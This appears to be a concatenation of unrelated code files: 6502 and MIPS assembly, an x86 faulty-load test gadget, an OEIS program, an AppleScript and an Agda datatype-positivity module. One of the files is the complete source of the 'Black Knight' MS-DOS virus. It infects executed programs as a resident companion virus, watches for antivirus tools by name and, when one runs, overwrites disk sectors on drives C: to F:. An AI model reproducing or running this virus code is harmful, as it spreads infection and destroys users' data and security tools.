; Reset the vectors we fiddled with.
lda call_old_wrchv + 1
sta wrchv
lda call_old_wrchv + 2
sta wrchv + 1
lda call_old_keyv + 1
sta keyv
lda call_old_keyv + 2
sta keyv + 1
; Switch to normal mode 7. This clears the screen, so we copy the contents
; back and restore the cursor position. This is maybe overkill, but it's
; important any final message shown when the game quits can be seen by the
; user.
lda #osbyte_read_cursor_position
jsr osbyte
lda #vdu_set_mode
jsr oswrch
lda #7
jsr oswrch
jsr do_oswrch_vdu_goto_xy
ldx #$3c
ldy #$7c
; fall through to screen_copy
screen_copy
stx .screen_copy_lda_abs_y + 2
sty .screen_copy_sta_abs_y + 2
ldx #4
.screen_copy_loop
ldy #0
.screen_copy_loop2
.screen_copy_lda_abs_y
lda $ff00,y ; patched
.screen_copy_sta_abs_y
sta $ff00,y ; patched
iny
bne .screen_copy_loop2
inc .screen_copy_lda_abs_y + 2
inc .screen_copy_sta_abs_y + 2
dex
bne .screen_copy_loop
rts
} ; End of !ifdef ACORN_NO_SHADOW
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Miscellaneous utility routines
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Like printstring_raw, but using OSASCI.
printstring_os
stx .printstring_os_lda + 1
sta .printstring_os_lda + 2
-
.printstring_os_lda
lda $ffff
beq .calculate_crc_rts
jsr osasci
inc .printstring_os_lda + 1
bne -
inc .printstring_os_lda + 2
bne - ; Always branch
; Calculate a CRC over A bytes of data at YX (A=0 => 256 bytes), returning it in
; YX.
calculate_crc
; This must not use the same location as .result in acorn-disk.asm as otherwise
; when .get_game_disc_back calls calculate_crc it will be overwritten.
.crc = zp_temp + 2 ; 2 bytes
sta .cpy_imm + 1
stx .eor_abs + 1
sty .eor_abs + 2
lda #0
sta .crc + 1
sta .crc
tay
.nbyt
lda .crc + 1
.eor_abs
eor $ffff,y
sta .crc + 1
ldx #8
.loop
lda .crc + 1
rol
bcc .b7z
lda .crc + 1
eor #8
sta .crc + 1
lda .crc
eor #$10
sta .crc
.b7z
rol .crc
rol .crc + 1
dex
bne .loop
iny
.cpy_imm
cpy #$ff
bne .nbyt
ldx .crc
ldy .crc + 1
.calculate_crc_rts
rts
; Two wrappers for calling osbyte_set_cursor_editing to reduce code size; we do
; this in several places.
do_osbyte_set_cursor_editing_x_0
ldx #0
do_osbyte_set_cursor_editing
lda #osbyte_set_cursor_editing
bne do_osbyte_y_0 ; Always branch
; Two wrappers for calling osbyte_rw_escape_key to reduce code size; we do this
; in several places.
do_osbyte_rw_escape_key
lda #osbyte_rw_escape_key
do_osbyte_y_0
ldy #0
jmp osbyte
; Move the OS cursor to (X, Y).
do_oswrch_vdu_goto_xy
lda #vdu_goto_xy
jsr oswrch
txa
jsr oswrch
tya
jmp oswrch
; SF: ENHANCEMENT: It would potentially be possible to support bold and
; underlined text in modes other than 7, although we'd either need to do it via
; OSWORD 10 and UDG redefinition (which is probably quite slow) or install
; some kind of custom driver around OSWRCH and have that run on the host even if
; we're using a second processor. As a "cheap" version, it would be possible to
; use colours in mode 1 for bold, but I'm not particularly keen to support this
; just for one mode which probably no one would use.
;
; SF: ENHANCEMENT: It would also with a bit more effort probably be possible
; to use a proportionally spaced font in modes other than 7, though this would
; be a more intrusive code change.
;
; SFTODO: Once the upstream dynamic memory access rework is completed and merged, it *may* be possible to do things like (on a turbo copro) use bank 0 free memory plus the whole of bank 1 for dynamic memory, and have banks 2 and 3 for virtual memory cache, or to promote the whole of a game <= ~210K to be pure dynamic memory. Or if we have more main+SWR than the game size, to promote the whole game to dynamic memory and do a simple absolute Z-machine to bank address conversion. I suspect it won't allow >64K dynamic memory, but just making this note so I can consider it when I see how upstream change works.
}
|
2/hw2.asm | bhbduman/cseComputer_Organization | 0 | 178995 | <reponame>bhbduman/cseComputer_Organization<filename>2/hw2.asm
.data
#int arraySize = MAX_SIZE;
arraySize: .word 0
#int arr[MAX_SIZE];
arr: .space 400
#int num;
num: .word 0
#int returnVal;
returnVal: .word 0
#int returnVal1=0, returnVal2=0;
returnVal1: .word 0
returnVal2: .word 0
possible: .asciiz "Possible!"
impossible: .asciiz "Not Possible"
newline: .asciiz "\n"
space: .asciiz " "
bspace: .asciiz "\b"
allelements: .asciiz "Summation of all array elements provides the given value"
smaller: .asciiz "The Summation given array is smaller than the value"
.text
main:
#cin >> arraySize;
li $v0, 5
syscall
sw $v0,arraySize
#cin >> num;
li $v0, 5
syscall
sw $v0,num
#for (int i = 0; i < arraySize; i++){
and $s0, $s0, $zero
lw $t0, arraySize
li $s1,0
fill:
beq $s0,$t0,next
#cin >> arr[i];
li $v0, 5
syscall
add $t9,$t9,$v0
sw $v0, arr($s1)
add $s1,$s1,4
addi $s0,$s0,1
j fill
next:
la $a0,newline
li $v0, 4
syscall
lw $t8,num
#if equal to num it wont go to recursive call it will print sum of array is equal to given value
beq $t9,$t8,equaltosum
#if sum of array element less than given input it wont go to recursive call it only print the sum of array smaller than num
blt $t9,$t8,lessthannum
#CheckSumPossibility(num, arr, arraySize);
lw $a0, num
lw $a2, arraySize
addi $a1,$a2,-1#indexlast
jal isPossible
move $a0, $v0
beq $a0,1,possiblejump
#cout << "Not possible" << endl;
la $a0,impossible
back:
li $v0, 4
syscall
j halt#exit
equaltosum:
la $a0,allelements
li $v0, 4
syscall
#cout << "Possible!" <<endl;
possiblejump: la $a0,possible
j back
lessthannum:
la $a0,smaller
li $v0, 4
syscall
j back
#int CheckSumPossibility(int num, int arr[], int size){
isPossible:
#int returnVal1=0, returnVal2=0;
sw $zero,returnVal2
sw $zero,returnVal1
#if (num == 0){
bnez $a0,continue
#cout<<",";
la $a0,newline
li $v0, 4
syscall
# return 1;
li $v0,1
jr $ra
continue:
#if(size < 0 || num <0){
sle $t1,$a2,$zero
slt $t2,$a0,$zero
or $t3,$t2,$t1
beqz $t3,continue2
#return 0;
li $v0,0
jr $ra
continue2:
sub $sp, $sp, 16
sw $ra, 0($sp)
#if(CheckSumPossibility( num-arr[size-1], arr, size-1)){
sw $a0, 4($sp)#num
sw $a2, 8($sp)#arraysize
sub $a2,$a2,1#size-1
sll $t4, $a2,2
lw $t5,arr($t4)#arr[size-1]
sub $a0, $a0,$t5#num-arr[size-1]
jal isPossible
#returnVal1= 1;
sw $v0, 12($sp)#save return(first call)
beq $v0, 1,print
j donotprint
print:
#cout<<arr[size-1]<<" ";
lw $a2, 8($sp)
sub $t6,$a2,1
sll $t4, $t6,2
lw $a0,arr($t4)
li $v0, 1
syscall
la $a0,newline
li $v0, 4
syscall
donotprint:
lw $a0, 4($sp)# restorenum
lw $a2, 8($sp)#restore arraysize
#if(CheckSumPossibility(num, arr, size-1)){
sub $a2,$a2,1#size-1
jal isPossible
#returnVal1= 1;
lw $s0, 12($sp) #restore first recursive
#return returnVal1 || returnVal2;
or $v0,$s0 ,$v0
lw $ra,0($sp)
add $sp, $sp, 16
jr $ra
halt:
li $v0, 10 # syscall code 10 is for exit.
syscall
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1762.asm | ljhsiun2/medusa | 9 | 241129 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rsi
lea addresses_WC_ht+0x1b39, %r9
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%r9)
nop
xor %rax, %rax
lea addresses_D_ht+0xad39, %r9
add %r10, %r10
movb $0x61, (%r9)
nop
nop
nop
nop
nop
dec %r8
lea addresses_D_ht+0x1739, %r8
nop
nop
nop
nop
dec %rbx
mov $0x6162636465666768, %r9
movq %r9, (%r8)
nop
nop
nop
nop
sub $5700, %r9
lea addresses_UC_ht+0xbd79, %r9
nop
nop
nop
sub %rbp, %rbp
mov (%r9), %esi
nop
nop
nop
nop
nop
inc %rbp
lea addresses_A_ht+0x137b9, %rsi
nop
nop
nop
nop
nop
dec %rbp
movb (%rsi), %al
nop
nop
nop
nop
nop
add $31385, %rbx
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %r9
push %rdi
push %rsi
// Faulty Load
lea addresses_A+0xeb39, %r9
nop
nop
and $54998, %rdi
mov (%r9), %r8d
lea oracles, %r14
and $0xff, %r8
shlq $12, %r8
mov (%r14,%r8,1), %r8
pop %rsi
pop %rdi
pop %r9
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
oeis/189/A189663.asm | neoneye/loda-programs | 11 | 22407 | <gh_stars>10-100
; A189663: Partial sums of A189661.
; Submitted by <NAME>
; 0,1,1,2,2,2,3,3,4,4,4,5,5,5,6,6,7,7,7,8,8,9,9,9,10,10,10,11,11,12,12,12,13,13,13,14,14,15,15,15,16,16,17,17,17,18,18,18,19,19,20,20,20,21,21,22,22,22,23,23,23,24,24,25,25,25,26,26,26,27,27,28,28,28,29,29,30,30,30,31,31,31,32,32,33,33,33,34,34,34,35,35,36,36,36,37,37,38,38,38
mov $1,$0
seq $1,60145 ; a(n) = floor(n/tau) - floor(n/(1 + tau)).
mov $2,$0
sub $2,$1
add $2,1
div $2,2
mov $0,$2
|
MSDOS/Virus.MSDOS.Unknown.blknight.asm | fengjixuchui/Family | 3 | 240088 | <reponame>fengjixuchui/Family
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: <EMAIL> (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution: world
Message-ID: <<EMAIL>>
References: <<EMAIL>> <<EMAIL>>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
;Black Knight Anti-Virus-Virus
;Size - 520
;
;Tasm BKNIGHT
;Tlink /T BKNIGHT
;Memory Resident Companion Virus
;Anti-Anti-Virus
;Formats Drives C: to F: When Anti-Virus Product Is Ran
;Tempest - _ Of Luxenburg
;
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
virus_name:
db 'Black Knight'
;install
virus_install:
nop
nop
nop
mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a
jne cancel
mov ax,ds:[0003]
sub ax,100
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es
add ax,bx
mov es,ax
mov cx,offset endit - begin
mov ax,ds
inc ax
mov ds,ax
lea si,ds:[begin]
lea di,es:0100
rep movsb
Grab_21:
mov ds,cx ; hook int 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already
installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to
virus
nop
int 21h
nop
cancel: ret
check_exec:
pushf
push es ; push everything onto
the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is the file being
jne abort ; executed?
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
Bye_Bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; here, the virus
essentially
mov cs:[name_off],dx ; copies the name of the
cld ; loaded file into a
buffer
mov di,dx ; so that it can be
compared
push ds ; against the default
names
pop es ; in the_stinger
mov al,'.' ; subroutine
repne scasb ; <--
call the_stinger ; check for anti-virus
load
; and deploy the_stinger
cld
mov word ptr cs:[nameptr],dx
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh
int 21h
push es
push bx
push cs
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint
push di
mov si,offset COM_txt
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt
nop
call change_ext
mov ax,3300h
nop
int 21h
push dx
cwd
inc ax
push ax
int 21h
Grab24h:
mov ax,3524h
int 21h
push bx
push es
push cs
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ;create the virus
(unique name)
xor cx,cx
mov ah,05Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,filelength ;cx= length of virus
mov dx,offset begin ;where to start copying
mov ah,40h ;write the virus to the
int 21h ;new file
mov ah,3Eh ; close
int 21h
return1: pop ax
pop ds
pop dx
int 21h
pop ax
pop dx
int 21h
mov si,offset EXE_txt
call change_ext
return: mov ah,1Ah
pop dx
pop ds
int 21H
ret
do_com: call findfirst
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return
mov si,offset EXE_txt
call change_ext
call findfirst
jnc return
mov si,offset COM_txt
call change_ext
jmp short return
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass
cmp word ptr es:[di-3],'XR' ;VIRX
je jumptoass
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
jne next1
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
je jumptoass
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's
Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's
CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: jmp nuke ;assassination (deletion)
; of anti-virus program
nuke:
mov al,2 ;Lets Total The C: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The D: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,3 ;Lets Total The E: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
mov al,5 ;Lets Total The F: Drive
mov cx,25
cli ; Keeps Victim From
Aborting
cwd
int 026h
sti
EXE_txt db 'EXE',0
COM_txt db 'COM',0
data_1 db 0
data_2 db 0
last db 090H
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
virus_man: db 'Tempest - _ Of Luxenburg'
endit:
cseg ends
end begin
|
youdao.popclipext/youdao.applescript | yuanmomo/popclip-extension | 0 | 4621 | <filename>youdao.popclipext/youdao.applescript
set appName to "有道词典"
set testword to "{popclip text}"
if application appName is running then
tell application appName
activate
tell application "System Events"
perform action "AXRaise" of window 1 of process appName
tell process appName
keystroke tab
set value of text field 1 of window "有道词典" of application process "有道词典" of application "System Events" to testword
click button "查词" of toolbar 1 of window "有道词典" of application process "有道词典" of application "System Events"
end tell
end tell
end tell
else
tell application appName
launch
activate
end tell
tell application "System Events"
perform action "AXRaise" of window 1 of process appName
tell process appName
keystroke tab
set value of text field 1 of window "有道词典" of application process "有道词典" of application "System Events" to testword
click button "查词" of toolbar 1 of window "有道词典" of application process "有道词典" of application "System Events"
end tell
end tell
end if
|
programs/oeis/001/A001542.asm | neoneye/loda | 22 | 160476 | <reponame>neoneye/loda<filename>programs/oeis/001/A001542.asm
; A001542: a(n) = 6*a(n-1) - a(n-2) for n > 1, a(0)=0 and a(1)=2.
; 0,2,12,70,408,2378,13860,80782,470832,2744210,15994428,93222358,543339720,3166815962,18457556052,107578520350,627013566048,3654502875938,21300003689580,124145519261542,723573111879672,4217293152016490,24580185800219268,143263821649299118,835002744095575440,4866752642924153522,28365513113449345692,165326326037771920630,963592443113182178088,5616228332641321147898,32733777552734744709300,190786436983767147107902,1111984844349868137938112,6481122629115441680520770,37774750930342781945186508,220167382952941249990598278,1283229546787304717998403160,7479209897770887057999820682,43592029839838017630000520932,254072969141257218722003304910,1480845785007705294702019308528,8631001740904974549490112546258,50305164660422142002238655969020,293199986221627877463941823267862,1708894752669345122781412283638152,9960168529794442859224531878561050,58052116426097312032565778987728148,338352530026789429336170142047807838
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $2,$3
add $1,$2
add $3,$1
add $3,$1
lpe
mov $0,$1
|
src/datatype-util.agda | ice1k/cedille | 0 | 14842 | <reponame>ice1k/cedille
module datatype-util where
open import constants
open import ctxt
open import syntax-util
open import general-util
open import type-util
open import cedille-types
open import subst
open import rename
open import free-vars
{-# TERMINATING #-}
decompose-arrows : ctxt → type → params × type
decompose-arrows Γ (TpAbs me x atk T) =
let x' = fresh-var-new Γ x in
case decompose-arrows (ctxt-var-decl x' Γ) (rename-var Γ x x' T) of λ where
(ps , T') → Param me x' atk :: ps , T'
decompose-arrows Γ T = [] , T
decompose-ctr-type : ctxt → type → type × params × 𝕃 tmtp
decompose-ctr-type Γ T with decompose-arrows Γ T
...| ps , Tᵣ with decompose-tpapps Tᵣ
...| Tₕ , as = Tₕ , ps , as
{-# TERMINATING #-}
kind-to-indices : ctxt → kind → indices
kind-to-indices Γ (KdAbs x atk k) =
let x' = fresh-var-new Γ x in
Index x' atk :: kind-to-indices (ctxt-var-decl x' Γ) (rename-var Γ x x' k)
kind-to-indices Γ _ = []
rename-indices-h : ctxt → renamectxt → indices → 𝕃 tmtp → indices
rename-indices-h Γ ρ (Index x atk :: is) (ty :: tys) =
Index x' atk' ::
rename-indices-h (ctxt-var-decl x' Γ) (renamectxt-insert ρ x x') is tys
where
x' = fresh-var-renamectxt Γ ρ (maybe-else x id (is-var-unqual ty))
atk' = subst-renamectxt Γ ρ -tk atk
rename-indices-h Γ ρ (Index x atk :: is) [] =
let x' = fresh-var-renamectxt Γ ρ x in
Index x' (subst-renamectxt Γ ρ -tk atk) ::
rename-indices-h (ctxt-var-decl x' Γ) (renamectxt-insert ρ x x') is []
rename-indices-h _ _ [] _ = []
rename-indices : ctxt → indices → 𝕃 tmtp → indices
rename-indices Γ = rename-indices-h Γ empty-renamectxt
positivity : Set
positivity = 𝔹 × 𝔹 -- occurs positively × occurs negatively
pattern occurs-nil = ff , ff
pattern occurs-pos = tt , ff
pattern occurs-neg = ff , tt
pattern occurs-all = tt , tt
--positivity-inc : positivity → positivity
--positivity-dec : positivity → positivity
positivity-neg : positivity → positivity
positivity-add : positivity → positivity → positivity
--positivity-inc = map-fst λ _ → tt
--positivity-dec = map-snd λ _ → tt
positivity-neg = uncurry $ flip _,_
positivity-add (+ₘ , -ₘ) (+ₙ , -ₙ) = (+ₘ || +ₙ) , (-ₘ || -ₙ)
data ctorCheckT : Set where
ctorOk : ctorCheckT
ctorNotInReturnType : ctorCheckT
ctorNegative : ctorCheckT
posₒ = fst
negₒ = snd
occurs : positivity → ctorCheckT
occurs p = if (negₒ p) then ctorNegative else ctorOk
or-ctorCheckT : ctorCheckT → ctorCheckT → ctorCheckT
or-ctorCheckT ctorOk r = r
or-ctorCheckT ctorNegative _ = ctorNegative
or-ctorCheckT ctorNotInReturnType _ = ctorNotInReturnType
posM : Set → Set
posM A = 𝕃 tpkd → A × 𝕃 tpkd
run-posM : ∀{A : Set} → posM A → A × 𝕃 tpkd
run-posM p = p []
extract-pos : ∀{A : Set} → posM A → A
extract-pos = fst ∘ run-posM
instance
posM-monad : monad posM
return ⦃ posM-monad ⦄ a = λ l → a , l
_>>=_ ⦃ posM-monad ⦄ p ap l with p l
_>>=_ ⦃ posM-monad ⦄ p ap l | a , l' = ap a l'
posM-functor : functor posM
fmap ⦃ posM-functor ⦄ g m l with m l
fmap ⦃ posM-functor ⦄ g m l | a , l' = g a , l'
posM-applicative : applicative posM
pure ⦃ posM-applicative ⦄ = return
_<*>_ ⦃ posM-applicative ⦄ mab ma l with mab l
_<*>_ ⦃ posM-applicative ⦄ mab ma l | f , l' with ma l'
_<*>_ ⦃ posM-applicative ⦄ mab ma l | f , l' | a , l'' =
f a , l''
add-posM : tpkd → posM ⊤
add-posM x = λ l → triv , x :: l
module positivity (x : var) where
open import conversion
if-free : ∀ {ed} → ⟦ ed ⟧ → positivity
if-free t with is-free-in x t
...| f = f , f
if-free-args : args → positivity
if-free-args as =
let c = stringset-contains (free-vars-args as) x in c , c
hnf' : ∀ {ed} → ctxt → ⟦ ed ⟧ → ⟦ ed ⟧
hnf' Γ T = hnf Γ unfold-no-defs T
mtt = maybe-else tt id
mff = maybe-else ff id
{-# TERMINATING #-}
type+ : ctxt → type → posM positivity
kind+ : ctxt → kind → posM positivity
tpkd+ : ctxt → tpkd → posM positivity
tpapp+ : ctxt → type → posM positivity
type+h : ctxt → type → posM positivity
kind+h : ctxt → kind → posM positivity
tpkd+h : ctxt → tpkd → posM positivity
tpapp+h : ctxt → type → posM positivity
type+ Γ T = type+h Γ T -- >>= λ p → add-posM (Tkt T) >> return p
kind+ Γ k = kind+h Γ k
tpkd+ Γ x = tpkd+h Γ x
tpapp+ Γ T = tpapp+h Γ T
type+h Γ (TpAbs me x' atk T) =
let Γ' = ctxt-var-decl x' Γ in
pure positivity-add <*>
(fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*>
(type+ Γ' $ hnf' Γ' T)
type+h Γ (TpIota x' T T') =
let Γ' = ctxt-var-decl x' Γ in
pure positivity-add <*>
(type+ Γ $ hnf' Γ T) <*>
(type+ Γ' $ hnf' Γ' T')
type+h Γ (TpApp T tT) = tpapp+ Γ $ hnf' Γ $ TpApp T tT
type+h Γ (TpEq tₗ tᵣ) = pure occurs-nil
type+h Γ (TpHole _) = pure occurs-nil
type+h Γ (TpLam x' atk T)=
let Γ' = ctxt-var-decl x' Γ in
pure positivity-add <*>
(fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*>
(type+ Γ' (hnf' Γ' T))
type+h Γ (TpVar x') = pure $ x =string x' , ff
kind+h Γ (KdAbs x' atk k) =
let Γ' = ctxt-var-decl x' Γ in
pure positivity-add <*>
(fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*>
(kind+ Γ' k)
kind+h Γ _ = pure occurs-nil
tpkd+h Γ (Tkt T) = type+ Γ (hnf' Γ T)
tpkd+h Γ (Tkk k) = kind+ Γ k
tpapp+h Γ T with decompose-tpapps T
tpapp+h Γ T | TpVar x' , as =
let f = if-free-args (tmtps-to-args NotErased as) in
if x =string x'
then pure (positivity-add occurs-pos f)
else maybe-else' (data-lookup Γ x' as) (pure f)
λ {(mk-data-info x'' xₒ'' asₚ asᵢ ps kᵢ k cs csₚₛ eds gds) →
let s = (inst-type Γ ps asₚ (hnf' Γ $ TpAbs tt x'' (Tkk k) $ foldr (uncurry λ cₓ cₜ → TpAbs ff ignored-var (Tkt cₜ)) (TpVar x'') cs)) in
add-posM (Tkt s) >>
type+ Γ s }
tpapp+h Γ T | _ , _ = pure $ if-free T
{-# TERMINATING #-}
arrs+ : ctxt → type → posM ctorCheckT
arrs+ Γ (TpAbs me x' atk T) =
let Γ' = ctxt-var-decl x' Γ in
pure or-ctorCheckT <*>
(fmap occurs (tpkd+ Γ $ hnf' Γ -tk atk)) <*>
(arrs+ Γ' (hnf' Γ' T))
arrs+ Γ (TpApp T tT) = fmap occurs (tpapp+ Γ $ hnf' Γ (TpApp T tT))
arrs+ Γ (TpLam x' atk T) =
let Γ' = ctxt-var-decl x' Γ in
pure or-ctorCheckT <*>
(fmap occurs (tpkd+ Γ $ hnf' Γ -tk atk)) <*>
(arrs+ Γ' (hnf' Γ' T))
arrs+ Γ (TpVar x') = return $ if (x =string x') then ctorOk else ctorNotInReturnType
arrs+ _ _ = return ctorNegative
ctr-positive : ctxt → type → posM ctorCheckT
ctr-positive Γ = (arrs+ Γ ∘ hnf' Γ)
-- build the evidence for a sigma-term, given datatype X with associated info μ
sigma-build-evidence : var → datatype-info → term
sigma-build-evidence X μ =
if datatype-info.name μ =string X then recompose-apps (datatype-info.asₚ μ) (Var (data-is/ X)) else Var (mu-isType/' X)
|
